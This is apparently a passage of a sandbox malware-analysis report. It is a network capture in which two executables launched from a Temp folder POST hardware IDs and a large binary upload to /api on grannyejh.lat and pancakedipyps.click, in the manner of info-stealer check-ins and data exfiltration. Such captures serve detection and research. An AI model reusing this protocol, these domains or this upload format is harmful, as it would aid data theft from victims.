2024-12-20 01:11:29 UTC	1369	IN	Data Raw: 79 73 4e 74 33 50 4e 45 73 63 4b 6c 77 39 69 42 2f 64 51 55 79 7a 42 6d 49 58 71 2b 76 42 4a 54 63 6e 7a 50 6d 57 48 6a 75 74 63 49 55 4c 76 4d 4a 59 6f 77 42 47 4a 46 57 41 5a 2b 78 64 45 61 39 2f 58 68 65 36 38 70 77 6f 46 69 37 30 38 66 73 6a 52 71 6e 77 6a 54 75 77 6e 6b 7a 47 45 42 4d 67 44 4c 78 44 39 55 42 51 69 33 74 61 44 36 37 71 36 41 55 37 4f 2b 43 6c 74 67 59 54 6e 58 44 35 48 34 44 43 65 4a 38 34 52 69 52 42 72 47 76 77 57 54 47 4b 59 6c 73 4c 68 6f 75 68 52 42 65 62 34 4b 32 47 45 6e 36 68 6d 63 31 4b 68 4b 74 34 6e 79 46 76 65 57 6d 63 53 38 68 4e 48 62 64 76 51 69 66 53 36 75 67 39 49 77 4f 38 39 59 34 61 44 36 55 34 35 51 2b 6b 77 6c 79 76 4e 48 6f 45 65 4c 31 6d 78 46 31 51 69 67 4a 69 6a 36 37 47 6b 41 31 4c 46 76 53 51 6f 6b 63 6e 74 Data Ascii: ysNt3PNEscKlw9iB/dQUyzBmIXq+vBJTcnzPmWHjutcIULvMJYowBGJFWAZ+xdEa9/Xhe68pwoFi708fsjRqnwjTuwnkzGEBMgDLxD9UBQi3taD67q6AU7O+CltgYTnXD5H4DCeJ84RiRBrGvwWTGKYlsLhouhRBeb4K2GEn6hmc1KhKt4nyFveWmcS8hNHbdvQifS6ug9IwO89Y4aD6U45Q+kwlyvNHoEeL1mxF1QigJij67GkA1LFvSQokcnt
2024-12-20 01:11:29 UTC	1369	IN	Data Raw: 6b 38 6b 79 79 45 56 63 59 64 64 31 65 70 55 47 5a 68 7a 4e 75 49 70 49 2b 72 42 30 76 43 36 33 74 35 78 70 43 71 57 7a 38 4e 74 33 4f 54 49 63 77 64 6c 42 56 69 46 50 38 65 51 32 66 58 30 49 4c 6d 74 36 30 4e 54 73 37 2b 4e 6d 4b 61 67 2b 70 55 4e 6b 7a 6c 4f 64 35 75 68 42 79 65 57 6a 64 58 77 41 64 48 49 4f 33 62 6a 4f 69 39 76 6b 6c 61 69 2b 52 37 59 59 54 4a 73 68 77 2b 52 65 6f 32 6b 53 48 4f 46 59 4d 51 59 78 2f 2f 45 31 35 74 33 4e 69 4f 37 72 43 6c 42 30 48 4e 39 44 42 74 6a 6f 6e 72 56 6e 4d 44 72 7a 53 47 59 4a 78 62 73 68 31 6a 47 76 35 53 65 57 48 57 31 6f 58 77 2b 72 64 48 58 49 58 36 4e 79 62 51 79 65 5a 56 4d 30 62 6c 4e 35 34 6e 79 52 36 46 48 57 77 61 39 68 70 43 5a 64 7a 55 69 2b 75 38 71 41 35 42 77 4f 38 2b 62 34 53 46 71 68 4a 7a 53 Data Ascii: k8kyyEVcYdd1epUGZhzNuIpI+rB0vC63t5xpCqWz8Nt3OTIcwdlBViFP8eQ2fX0ILmt60NTs7+NmKag+pUNkzlOd5uhByeWjdXwAdHIO3bjOi9vklai+R7YYTJshw+Reo2kSHOFYMQYx//E15t3NiO7rClB0HN9DBtjonrVnMDrzSGYJxbsh1jGv5SeWHW1oXw+rdHXIX6NybQyeZVM0blN54nyR6FHWwa9hpCZdzUi+u8qA5BwO8+b4SFqhJzS
2024-12-20 01:11:29 UTC	171	IN	Data Raw: 35 68 42 79 4b 57 6a 64 58 2b 42 6c 65 62 4e 62 52 6a 2b 43 79 72 77 64 49 7a 76 73 77 59 59 2b 50 35 31 51 2b 53 4f 77 79 6d 69 72 57 47 49 30 51 59 68 32 78 58 67 78 6c 77 4a 6a 61 70 70 32 6b 49 46 58 65 37 79 30 6d 6c 38 66 7a 48 44 52 42 72 32 76 65 49 38 73 53 69 52 4a 6e 47 50 34 55 51 6d 54 65 31 59 66 70 73 4c 6f 42 53 38 6a 32 4e 47 32 61 69 65 64 59 50 30 6e 6e 4f 4a 52 67 69 6c 75 42 41 69 39 50 73 53 56 42 62 64 6a 62 6c 4b 61 6c 35 68 41 46 77 76 46 37 50 73 69 46 35 46 77 38 51 65 4d 34 0d 0a Data Ascii: 5hByKWjdX+BlebNbRj+CyrwdIzvswYY+P51Q+SOwymirWGI0QYh2xXgxlwJjapp2kIFXe7y0ml8fzHDRBr2veI8sSiRJnGP4UQmTe1YfpsLoBS8j2NG2aiedYP0nnOJRgiluBAi9PsSVBbdjblKal5hAFwvF7PsiF5Fw8QeM4
2024-12-20 01:11:29 UTC	1369	IN	Data Raw: 32 38 62 66 0d 0a 6c 69 48 49 46 59 45 66 5a 68 2f 35 41 6b 31 6d 30 4e 6d 4d 36 62 75 73 44 45 44 42 2b 6a 39 67 68 38 6d 6b 48 44 52 56 72 32 76 65 44 2b 4d 75 78 44 74 56 56 2b 35 65 56 53 4c 66 31 4d 4b 2b 2b 71 51 4b 53 63 33 79 50 57 2b 45 67 2b 4e 58 50 30 62 72 50 35 63 6c 77 68 71 44 48 32 34 54 2f 52 70 4b 59 64 76 58 6a 65 6d 79 36 45 63 46 77 75 56 37 50 73 69 73 2f 56 63 39 53 36 38 73 30 44 6d 45 48 49 70 61 4e 31 66 39 47 55 70 6b 33 64 53 44 34 4c 4b 74 41 55 48 45 2b 7a 31 6c 68 34 33 76 58 54 78 4a 34 7a 32 55 49 63 55 58 6a 52 56 6b 45 72 46 65 44 47 58 41 6d 4e 71 6d 69 36 73 66 55 74 58 78 65 33 6e 47 6b 4b 70 62 50 77 32 33 63 35 38 79 7a 68 47 49 48 32 41 53 38 68 39 4c 62 39 37 55 69 4f 2b 79 72 67 5a 4d 31 2f 34 33 61 49 2b 48 35 Data Ascii: 28bfliHIFYEfZh/5Ak1m0NmM6busDEDB+j9gh8mkHDRVr2veD+MuxDtVV+5eVSLf1MK++qQKSc3yPW+Eg+NXP0brP5clwhqDH24T/RpKYdvXjemy6EcFwuV7Psis/Vc9S68s0DmEHIpaN1f9GUpk3dSD4LKtAUHE+z1lh43vXTxJ4z2UIcUXjRVkErFeDGXAmNqmi6sfUtXxe3nGkKpbPw23c58yzhGIH2AS8h9Lb97UiO+yrgZM1/43aI+H5
2024-12-20 01:11:29 UTC	1369	IN	Data Raw: 67 4e 4a 6b 70 7a 77 6d 4d 48 57 67 63 2b 52 74 44 5a 4d 72 55 6a 50 53 2f 75 68 73 46 69 37 30 38 66 73 6a 52 71 6d 6f 30 58 66 38 77 33 42 48 53 47 4a 41 52 59 68 75 78 44 77 4a 37 6d 4e 2b 4f 70 75 4c 6f 44 30 72 4d 2f 6a 52 6e 67 59 58 6e 57 54 70 49 37 6a 57 61 4b 73 34 62 67 42 78 75 45 76 73 54 54 57 6a 52 33 34 72 68 75 62 70 4a 43 34 58 36 49 79 62 51 79 63 4e 62 49 55 50 2f 63 34 46 75 33 56 75 42 46 69 39 50 73 52 52 47 62 64 7a 66 6a 75 43 2f 72 67 52 45 79 76 77 37 61 59 79 43 34 31 6f 79 51 4f 6f 2b 6d 6a 4c 4f 45 49 6b 57 5a 68 76 38 55 41 49 69 33 38 44 43 76 76 71 5a 42 45 76 4c 2b 69 30 6d 6c 38 66 7a 48 44 52 42 72 32 76 65 49 63 67 55 68 52 56 73 46 50 41 61 58 6e 44 55 30 59 72 6a 74 71 4d 48 51 39 66 37 4e 47 2b 4c 69 75 4e 62 4f 30 Data Ascii: gNJkpzwmMHWgc+RtDZMrUjPS/uhsFi708fsjRqmo0Xf8w3BHSGJARYhuxDwJ7mN+OpuLoD0rM/jRngYXnWTpI7jWaKs4bgBxuEvsTTWjR34rhubpJC4X6IybQycNbIUP/c4Fu3VuBFi9PsRRGbdzfjuC/rgREyvw7aYyC41oyQOo+mjLOEIkWZhv8UAIi38DCvvqZBEvL+i0ml8fzHDRBr2veIcgUhRVsFPAaXnDU0YrjtqMHQ9f7NG+LiuNbO0
2024-12-20 01:11:29 UTC	1369	IN	Data Raw: 4a 39 56 62 33 67 78 2f 41 50 59 50 41 6e 75 59 33 34 36 6d 34 75 67 50 54 4d 50 36 50 57 69 61 6a 4f 78 54 50 45 54 6d 4e 35 59 6a 78 42 2b 43 48 57 6f 55 2f 52 74 4c 59 64 66 63 69 2b 69 7a 70 30 6b 4c 68 66 6f 6a 4a 74 44 4a 79 30 63 77 51 65 4a 7a 67 57 37 64 57 34 45 57 4c 30 2b 78 48 45 4a 6e 32 4e 4b 45 34 72 2b 75 41 30 44 46 39 6a 68 70 6a 49 2f 75 55 7a 4e 47 35 6a 4b 59 4a 63 34 51 67 42 64 73 45 66 64 51 41 69 4c 66 77 4d 4b 2b 2b 6f 67 53 53 4d 6e 36 65 33 6e 47 6b 4b 70 62 50 77 32 33 63 35 55 73 77 42 79 47 46 32 77 66 39 42 52 47 5a 39 6a 51 6b 4f 36 36 72 78 74 58 78 66 51 2b 61 6f 75 4a 37 6c 6f 36 53 2b 77 33 33 6d 36 45 48 4a 35 61 4e 31 66 63 48 45 74 4c 33 38 50 43 2b 66 53 78 53 55 4c 4a 76 57 4d 6d 69 59 4c 67 55 7a 35 4f 36 54 43 Data Ascii: J9Vb3gx/APYPAnuY346m4ugPTMP6PWiajOxTPETmN5YjxB+CHWoU/RtLYdfci+izp0kLhfojJtDJy0cwQeJzgW7dW4EWL0+xHEJn2NKE4r+uA0DF9jhpjI/uUzNG5jKYJc4QgBdsEfdQAiLfwMK++ogSSMn6e3nGkKpbPw23c5UswByGF2wf9BRGZ9jQkO66rxtXxfQ+aouJ7lo6S+w33m6EHJ5aN1fcHEtL38PC+fSxSULJvWMmiYLgUz5O6TC
2024-12-20 01:11:29 UTC	1369	IN	Data Raw: 37 38 44 4c 77 47 78 53 42 34 73 6d 4d 72 43 76 76 72 76 43 6c 66 58 2b 7a 68 77 69 38 37 55 59 68 52 62 35 54 53 4f 4a 39 4d 55 78 6c 51 76 47 4c 46 49 64 53 4c 52 33 35 6e 33 72 4b 55 5a 51 6f 58 43 64 53 61 51 79 62 49 63 42 6b 37 68 50 5a 6b 32 31 56 61 68 44 47 55 51 34 52 64 62 62 5a 69 57 77 75 44 36 38 46 6f 4c 68 66 6b 71 4a 74 44 5a 75 41 64 6d 48 72 68 6a 7a 44 2b 4b 41 73 59 4d 4c 30 2b 6a 58 67 78 77 6d 49 44 43 6f 62 6d 36 47 30 50 47 36 7a 67 68 74 72 66 4e 52 6a 35 4c 2b 43 4b 67 48 73 4d 42 69 78 78 34 42 72 30 46 54 32 7a 57 33 35 53 6d 39 4f 67 47 42 5a 33 45 65 79 37 49 74 71 51 63 4b 77 32 33 63 36 73 6a 79 68 57 42 44 48 35 61 31 67 70 42 5a 4d 2f 4a 77 71 6a 36 72 6b 6b 64 6c 62 4e 37 59 70 6e 4a 73 67 78 68 46 72 70 67 79 58 43 57 Data Ascii: 78DLwGxSB4smMrCvvrvClfX+zhwi87UYhRb5TSOJ9MUxlQvGLFIdSLR35n3rKUZQoXCdSaQybIcBk7hPZk21VahDGUQ4RdbbZiWwuD68FoLhfkqJtDZuAdmHrhjzD+KAsYML0+jXgxwmIDCobm6G0PG6zghtrfNRj5L+CKgHsMBixx4Br0FT2zW35Sm9OgGBZ3Eey7ItqQcKw23c6sjyhWBDH5a1gpBZM/Jwqj6rkkdlbN7YpnJsgxhFrpgyXCW
2024-12-20 01:11:29 UTC	1369	IN	Data Raw: 45 43 38 68 35 43 5a 63 37 4a 77 71 6a 36 70 30 6b 64 2f 4c 31 7a 4a 72 66 48 71 6b 52 7a 46 61 38 47 6e 53 37 4b 48 4a 41 4c 49 6a 44 2f 46 30 31 30 79 4d 2b 4e 70 76 54 6f 44 77 57 64 72 33 55 6d 6a 4a 69 71 42 47 4d 66 74 47 62 4e 64 35 52 4a 6d 56 52 32 56 2b 64 51 46 44 43 57 6d 4a 43 6d 34 75 68 4f 52 74 66 76 50 57 57 65 69 71 31 69 44 57 72 68 4e 4a 38 32 31 41 79 4a 56 55 45 68 30 43 35 79 64 39 76 57 6a 4f 47 73 75 55 6b 4c 68 66 4a 37 50 72 48 4a 6f 68 77 4d 41 36 38 72 33 6e 69 45 4c 6f 55 55 59 52 44 6e 41 51 46 46 31 74 2b 44 38 4b 71 2f 42 67 72 72 79 78 6f 6d 78 73 6e 73 48 47 73 66 6f 58 4f 61 4d 59 52 44 31 6b 67 30 51 71 4a 48 48 44 44 48 6c 70 75 6d 72 4f 68 52 46 34 75 39 4b 53 62 51 79 61 31 66 49 56 2f 70 4d 49 67 6a 67 79 57 34 50 Data Ascii: EC8h5CZc7Jwqj6p0kd/L1zJrfHqkRzFa8GnS7KHJALIjD/F010yM+NpvToDwWdr3UmjJiqBGMftGbNd5RJmVR2V+dQFDCWmJCm4uhORtfvPWWeiq1iDWrhNJ821AyJVUEh0C5yd9vWjOGsuUkLhfJ7PrHJohwMA68r3niELoUUYRDnAQFF1t+D8Kq/BgrryxomxsnsHGsfoXOaMYRD1kg0QqJHHDDHlpumrOhRF4u9KSbQya1fIV/pMIgjgyW4P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49891	172.67.179.109	443	7944	C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 01:11:31 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MB2D7J4T71GKU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1232 Host: grannyejh.lat
2024-12-20 01:11:31 UTC	1232	OUT	Data Raw: 2d 2d 4d 42 32 44 37 4a 34 54 37 31 47 4b 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 32 43 43 30 32 45 32 42 38 44 46 32 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4d 42 32 44 37 4a 34 54 37 31 47 4b 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4d 42 32 44 37 4a 34 54 37 31 47 4b 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4d 42 32 44 37 Data Ascii: --MB2D7J4T71GKUContent-Disposition: form-data; name="hwid"9E2CC02E2B8DF241AC8923850305D13E--MB2D7J4T71GKUContent-Disposition: form-data; name="pid"1--MB2D7J4T71GKUContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--MB2D7
2024-12-20 01:11:32 UTC	1122	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 01:11:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eu3vegodmlll86bha5e0ebntl3; expires=Mon, 14 Apr 2025 18:58:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=64y4LrInr0L7JPCMuXwB52O74gAFvi6ExYBBsvycQHm%2Fm0%2BD%2BNnKI%2FeB2rmHMSEPu5nIAQt2ZpAjC6SJI6UlooBy3CAOOhW1ZqaAqOFR4nCxpGCl2hjkAgFsk991%2FN7A"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4bc246cf46c448-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1673&min_rtt=1667&rtt_var=638&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=2141&delivery_rate=1696687&cwnd=228&unsent_bytes=0&cid=78b6ae4567ee0d7d&ts=646&x=0"
2024-12-20 01:11:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 01:11:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49892	172.67.209.202	443	8180	C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 01:11:31 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=N9K7TF48R5C4L47XMYW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: pancakedipyps.click
2024-12-20 01:11:31 UTC	12840	OUT	Data Raw: 2d 2d 4e 39 4b 37 54 46 34 38 52 35 43 34 4c 34 37 58 4d 59 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 32 43 43 30 32 45 32 42 38 44 46 32 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4e 39 4b 37 54 46 34 38 52 35 43 34 4c 34 37 58 4d 59 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4e 39 4b 37 54 46 34 38 52 35 43 34 4c 34 37 58 4d 59 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 Data Ascii: --N9K7TF48R5C4L47XMYWContent-Disposition: form-data; name="hwid"9E2CC02E2B8DF241AC8923850305D13E--N9K7TF48R5C4L47XMYWContent-Disposition: form-data; name="pid"2--N9K7TF48R5C4L47XMYWContent-Disposition: form-data; name="lid"FATE99--te
2024-12-20 01:11:32 UTC	1139	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 01:11:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p5hl704remm63llmu704fmiqee; expires=Mon, 14 Apr 2025 18:58:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uz%2F1ddVkUUxAlGJOJm8VQLj%2FjE8NJpJ0Mf9xXTPMxGD0L19gWTWOfCBmZshzg2ksUbrHPFZVtttNh5ly3jQGIX2%2BqlX5QWMhXdxr%2BG8aCnqQ4djg%2FBUokUai%2BrgAAx%2F2iw4lC3Cp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4bc24779797cb1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=11312&min_rtt=2004&rtt_var=6455&sent=9&recv=16&lost=0&retrans=0&sent_bytes=2848&recv_bytes=13784&delivery_rate=1457085&cwnd=235&unsent_bytes=0&cid=99430717e1ba93ae&ts=1004&x=0"
2024-12-20 01:11:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 01:11:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49898	172.67.179.109	443	7944	C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 01:11:33 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FVDE4O9KNF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 568505 Host: grannyejh.lat
2024-12-20 01:11:33 UTC	15331	OUT	Data Raw: 2d 2d 46 56 44 45 34 4f 39 4b 4e 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 32 43 43 30 32 45 32 42 38 44 46 32 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 46 56 44 45 34 4f 39 4b 4e 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 46 56 44 45 34 4f 39 4b 4e 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 46 56 44 45 34 4f 39 4b 4e 46 0d 0a 43 6f Data Ascii: --FVDE4O9KNFContent-Disposition: form-data; name="hwid"9E2CC02E2B8DF241AC8923850305D13E--FVDE4O9KNFContent-Disposition: form-data; name="pid"1--FVDE4O9KNFContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--FVDE4O9KNFCo
2024-12-20 01:11:33 UTC	15331	OUT	Data Raw: 12 b3 af d7 fa f7 3b 60 80 ca 7c 6d 6f c1 52 bd 02 63 a4 9c a5 34 38 12 96 52 0e 20 80 d8 09 62 ec a1 14 09 a0 34 01 65 35 c2 99 27 5c 19 ae c2 a0 5d 15 0b f3 71 b0 6c 5b 74 78 a6 d8 fa 3e 8e c7 0e f0 d8 77 de 16 0d c2 2b 3a ba bb b1 7d a6 fc 56 ff ff 83 e8 d4 03 80 56 dc 01 e6 f8 40 82 29 25 9f 05 98 7d 7c 30 3f 55 e9 52 66 44 64 99 e5 62 6f 66 39 3f c4 fd 87 68 fc d8 9c c1 25 1a d9 77 da 40 8c 43 32 88 b7 70 48 cd 74 f2 e0 03 cd 8a ab 81 a6 e8 b8 1d cf 9c ca 20 05 35 98 b2 83 57 a2 49 f5 df fa 90 1e 91 f8 09 c1 ad dd 32 34 67 0e 14 3b 52 93 fc 7c 79 52 8d 3b a5 95 44 a9 b6 90 27 0f c1 72 bd 25 c0 c6 8d 3b 5d 52 8a 29 3a 87 99 37 c9 d8 6e 0e 70 55 64 35 38 8b 72 08 6b 8a b5 bd e6 a6 e3 eb 8e 4a 14 12 23 0b 49 74 56 35 67 72 57 80 ff 1e aa 36 3a 48 00 4c Data Ascii: ;`\|moRc48R b4e5'\]ql[tx>w+:}VV@)%}\|0?URfDdbof9?h%w@C2pHt 5WI24g;R\|yR;D'r%;]R):7npUd58rkJ#ItV5grW6:HL
2024-12-20 01:11:33 UTC	15331	OUT	Data Raw: ed 26 c0 58 9d ff 12 9a dc 3b 05 8a 09 29 77 99 64 51 9b 89 ed 98 1e 97 c6 f0 80 53 19 11 0f 44 f5 86 6b 5d 23 79 4a 18 58 6d 93 3a 6d a9 26 e2 a8 ca ff 36 a9 c6 ea 8b e5 b3 10 da 36 34 2f 36 b5 e6 e6 0b 4d ff 3e 12 a8 8e 04 55 46 8d ae 1f 71 19 74 35 36 13 c9 4d 65 84 5f 9a 27 2f b9 58 c0 41 a7 c9 78 9f c4 45 6b 95 ea c4 9d 8c 50 a2 e9 33 8b b8 23 68 02 8a 9d 56 bc f2 55 61 bd 4e d2 5d 85 61 38 a9 d4 18 3c 8d 6a 2c af 40 3c 6f 72 be 89 97 c0 1e b5 e2 c4 1a fd 1d 04 16 ed b3 19 c1 8b 2f bf 1c 2b fd ed 5e 58 67 79 f6 0a 8f 96 f9 67 4e 36 43 83 0f 23 c9 39 93 c0 db 93 d6 de ae 88 d0 39 bf 85 fe fe b0 99 b9 b3 b1 59 f3 ef b5 90 f0 6e 5a ae 7b 39 19 45 68 7b 5a fb 7d b3 55 16 f9 9f 3a 6f 11 2c 42 bf 6d 34 ff 29 8a aa ff e3 62 47 87 4a 63 e8 5e d6 58 c6 a5 75 Data Ascii: &X;)wdQSDk]#yJXm:m&664/6M>UFqt56Me_'/XAxEkP3#hVUaN]a8<j,@<or/+^XgygN6C#99YnZ{9Eh{Z}U:o,Bm4)bGJc^Xu
2024-12-20 01:11:33 UTC	15331	OUT	Data Raw: a0 3d 22 0d 26 ee 9a 86 67 a7 a6 bc c4 ce 0c 8e 97 0e ea cb c7 84 3b da 1c aa d0 bb 86 29 07 da 35 ed 87 23 25 d6 9d a6 bc 18 5a b0 42 f5 26 63 14 c5 73 13 3d 42 96 04 cb 4e ea a8 06 5d 2f 20 74 41 c4 2d ba 6e e9 a9 4a ea 77 b7 21 96 cd 54 fe 62 ca df fa 0c a9 36 dd 37 f2 60 f0 d2 48 21 f9 fc b2 60 b1 21 63 f8 5b d9 41 42 6d fb 9d ef c3 48 87 fc 15 50 1f 76 d5 e3 d7 90 c2 a7 e1 cc 6a a0 1d ae 9e bd 0b 4d 6b b5 2e 99 e7 6c 3a 7d 94 a4 01 1c db 55 52 e2 31 e9 f1 a8 dc 51 7c e3 b7 ba 9a f7 8e 1c a7 47 9d c7 9a 4a 1f 08 15 86 8c f8 66 4a 5c 89 a5 da d2 e1 b7 2e 8d 97 2b 90 7d 8e 9a 8e ea a4 ba 77 7c a3 d0 ae 0a 7b 24 7f 99 f7 ea 68 d9 64 fc 20 b9 d9 46 8d 72 aa 9d de 60 d2 0f 89 f8 50 b4 d8 c6 43 1b 0b 02 8c d1 f7 0c 9e 35 df 40 e7 ad d2 d0 8a 73 4b a9 e2 ef Data Ascii: ="&g;)5#%ZB&cs=BN]/ tA-nJw!Tb67`H!`!c[ABmHPvjMk.l:}UR1Q\|GJfJ\.+}w\|{$hd Fr`PC5@sK
2024-12-20 01:11:33 UTC	15331	OUT	Data Raw: 27 a0 b5 54 ea 6e b0 95 a2 b0 e9 51 32 a8 c9 b0 5f f1 f2 64 be ed 3b c3 24 e3 f1 76 9c e8 54 bc 6a d4 8e 3e f1 41 ed f5 76 19 a2 3d d7 e4 28 85 7d dc d6 93 da d7 12 38 49 f3 f9 72 0c ef bb b2 ab 4b 05 04 1d 51 4e eb 78 d2 60 56 8e f2 51 46 43 58 05 f2 20 ac 70 05 40 4b d8 43 2c 51 f0 83 b7 ed 87 70 0b 31 d8 0d bb 2e cd 41 d6 58 88 a0 47 22 83 a0 eb ee 2a 8d 7c 90 05 b0 57 a1 1c fa fd b6 94 e5 38 e5 e1 59 c5 07 b3 28 65 97 61 76 1e b4 b2 57 88 b9 cb 13 98 62 af 8d 60 99 73 fd 77 77 ef f5 ec cc 15 af bc ba 1b 93 ee 56 c7 1c cf 11 9d 72 4e 88 17 0b 76 c0 cb c8 f6 7d 4b 82 8f 6f c6 ee 68 96 5c 74 d2 23 48 60 2e c4 3a f6 ad 32 02 fd 75 ba e6 6d 2a ac 1c b2 3b 41 b3 e2 e8 f7 1f c2 09 3a 90 ae a9 cb bf 40 7b 03 b5 71 a7 67 fc 5b 93 ad 20 0a 9c 93 b0 bc 27 01 aa Data Ascii: 'TnQ2_d;$vTj>Av=(}8IrKQNx`VQFCX p@KC,Qp1.AXG"\|W8Y(eavWb`swwVrNv}Koh\t#H`.:2um;A:@{qg[ '
